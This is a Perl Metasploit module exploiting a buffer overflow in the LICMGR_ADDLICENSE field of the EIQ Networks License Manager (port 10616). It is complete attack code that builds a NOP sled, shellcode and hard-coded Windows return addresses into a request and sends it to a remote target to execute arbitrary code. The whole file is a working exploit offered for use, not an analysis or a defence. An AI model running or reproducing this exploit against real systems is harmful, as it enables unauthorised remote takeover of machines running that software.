#!/usr/bin/perl -w

#metasploit module for EIQ Licence manager overflow Provided by ri0t of Bastard Labs

package Msf::Exploit::EiQ_License_494; 
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };

my $info =
  {
  'Name'     => 'EIQ License Manager Overflow',
  'Authors'  => [ 'ri0t ri0t@ri0tnet.net, KF kf_list@digitalmunition.com' ],

  'Arch'  => [ 'x86' ],
  'OS'    => [ 'win32', 'win2000', 'winxp' ],
  'Priv'  => 0,
  
  'AutoOpts'  => { 'EXITFUNC' => 'seh' },
  
  'UserOpts'  =>
    {
    'RHOST' => [1, 'ADDR', 'The target address'],
    'RPORT' => [1, 'PORT', 'The target port', 10616],
   },
        'Payload'  =>
    {
    'Space' => 494,
    'BadChars'  => "\x00\x0a\x0d\x40\x26",
            },
          'Description'  =>  Pex::Text::Freeform(qq{
  This module exploits the buffer overflow found in the LICMGR_ADDLICENSE
        Field of EIQ networks network analyser this module exploits buffers of 494 bytes
  in size. This module should work on all EIQ branded analysers.  Exploitation
  assistance from KF.
        }),
          
          
        'DefaultTarget' => 1,
  'Targets' =>
    [
    ['Windows 2000 SP0-SP4 English', 0x750316e2],   # call ebx
    ['Windows XP SP1/SP2 English', 0x77db64dc ],  # jmp ebx
          ['Windows Server 2003 SP0/SP1 English', 0x77d16764 ],   # jmp ebx 
    ],
          
  };
  
  sub new {
  my $class = shift;
  my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  return($self);
}
  
  sub Exploit {
  my $self = shift;
  my $target_host = $self->GetVar('RHOST');
  my $target_port = $self->GetVar('RPORT');
  my $target_idx  = $self->GetVar('TARGET');
  my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
  my $target      = $self->Targets->[$target_idx];
        my $nops   = $self->MakeNops(494 - length($shellcode));
        my $ret         =  pack("V", $target->[1]);
        my $evil        = "LICMGR_ADDLICENSE&" . $nops . $shellcode . $ret . "&";
  
            
        my $s = Msf::Socket::Tcp->new
    (
    'PeerAddr'  => $target_host,
    'PeerPort'  => $target_port,
    'LocalPort' => $self->GetVar('CPORT'),
        );
          
          if ($s->IsError) {
    $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
    return;
  }
          $self->PrintLine(sprintf ("[*] Trying ".$target->[0]." using return address 0x%.8x....", $target->[1]));
          
          $s->Send("$evil");
          return;
  }